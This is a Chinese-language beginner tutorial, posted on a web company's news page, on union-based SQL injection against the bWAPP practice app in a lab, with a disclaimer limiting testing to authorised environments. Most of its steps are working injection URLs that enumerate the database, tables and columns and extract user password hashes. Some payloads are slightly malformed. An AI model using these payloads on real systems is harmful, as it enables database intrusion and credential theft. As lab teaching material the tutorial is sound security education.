尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

渗透入门之SQL 注入(1)

渗透入门之SQL 注入(1)
📅 发布时间:2026/6/19 9:23:52

重要声明

SQL注入实验仅可在自己搭建的合法测试环境(如本地虚拟机、授权的测试服务器)中进行,严禁对任何非授权系统实施测试,否则可能违反《网络安全法》等法律法规,需承担相应法律责任。

一、实验环境

  • 操作系统:Linux、Windows10,;
  • 平台:天枢一体化虚拟仿真平台

1、bwapp环境准备

  • 环境部署:平台已完成部署
  • 环境访问:浏览器输入http://192.168.0.100,点击“Login”进入登录页,默认账号密码:bee/bug;
  • 安全级别设置:登录后点击顶部“Security Level”,选择“Low”(关闭基础防护,便于注入测试),点击“Apply”保存;
  • 场景定位:点击顶部“Buggy Apps”,在下拉菜单中根据场景类型选择对应模块,即可进入目标测试页面。

(1) 使用前需要配置键盘

(2)IP配置(用户名bee,密码bug)

sudo ip addr add 192.168.1.100/24 dev 网卡名

二、SQL注入常见场景分类及核心特征(bwapp环境适配)

SQL注入按请求方式、应用场景可分为6类,核心原理均为“用户输入未过滤直接拼接SQL”,但注入点位置、参数传递方式存在差异。

1、SQL Injection (GET/Search):GET请求搜索类注入

bwapp场景定位Buggy Apps > SQL Injection > "SQL Injection - Search (GET)"实验步骤正常业务验证:进入测试页面,在搜索框输入Man,点击“Search”,页面显示包含“Man”的用户信息(正常响应);

(1)步骤1:判断注入点类型及存在性

在搜索框输入man'(添加单引号),点击“Search”,页面显示MySQL语法错误(如You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''bee''' at line 1),说明存在字符型注入;

注释符验证:输入man' --(注意--后加空格),点击“Search”,页面无语法错误且正常显示结果,确认注入点有效;

(2)步骤2:判断查询的字段数:
① 判断列数:输入Man'order by1---,点击“Search”,页面正常显示,依次输入,至此说明查询结果为7列;


② 利用MySQL自带的information_schema库,提取当前数据库名、版本、用户等信息:

目标信息

构造URL示例

当前数据库名

http://192.168.0.100/bwapp/sqli_1.php?title=man'unionselect1,database(),3,4,5,6,7---

MySQL版本

http://192.168.0.100/bwapp/sqli_1.php?title=man'unionselect1,version(),3,4,5,6,7---

数据库用户

http://192.168.0.100/bwapp/sqli_1.php?title=man'unionselect1,user(),3,4,5,6,7---

数据存储目录

http://192.168.0.100/bwapp/sqli_1.php?title=man'unionselect1,@@datadir,3,4,5,6,7---

示例结果:

当前数据库名是bwapp,

MySQL版本为5.0.96,

用户为root@localhost。

数据存储目录

(3)步骤3:获取数据库中的表名

提取bwapp数据库下的所有表名(重点关注users表,存储账号密码):

http://192.168.0.100/bwapp/sqli_1.php?title=man' UNION SELECT 1,table_name,3,4,5,6,7 FROM information_schema.tables WHERE table_schema=database()-- -

页面会列出表名:users、movies、blogs、guestbook等(核心目标:users)。

(4)步骤4:获取users表的列名

提取users表的所有列名(如账号、密码、邮箱等):

http://192.168.0.100/bwapp/sqli_1.php?title=man' UNION SELECT 1,column_name,3,4,5,6,7 FROM information_schema.columns WHERE table_schema=database() AND table_name='users' -- -

页面会显示列名:id、username、password、email、admin等。

(5)步骤5:提取users表的账号密码数据

最终目标:获取用户凭证,构造URL如下:因本次用户名在login列

http://192.168.0.100/bwapp/sqli_1.php?title=man' UNION SELECT 1,login,password FROM users -- -

页面会显示:

解密MD5值,bee→bug(与BWAPP默认密码一致)。

(6)步骤6:验证结果

用提取到的bee→bug登录BWAPP,验证账号密码的有效性。

相关新闻

  • 语音合成在AR/VR中的沉浸式体验:GPT-SoVITS的空间音频支持
  • 语音克隆用于社交机器人:GPT-SoVITS赋予聊天机器人独特声线
  • 14、编程中的继承与配置:问题、替代方案与最佳实践

最新新闻

  • 艺愿星为什么优于艺考志愿宝 - 速递信息
  • 5个诊断式技巧:解决SillyTavern角色卡片创建的三大痛点
  • 2026年口碑好的DCT湿式双离合维修公司排行榜,客户真实体验盘点 - mypinpai
  • 从经典ARM720T SoC看嵌入式系统核心架构与设计精髓
  • 2026年6月正规重庆净化板厂家哪家靠谱:玻镁/岩棉/硅岩/硫氧镁净化板厂商名单表 - 海棠依旧大
  • Novel Agent — 跨平台智能小说创作系统

日新闻

  • 信任的进化:技术实现详解——如何用JavaScript构建博弈论模拟器
  • Terrakube自定义工作流:如何集成OPA、Infracost等工具扩展IaC能力
  • grunt-concurrent快速入门:5分钟学会并行运行Grunt任务

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号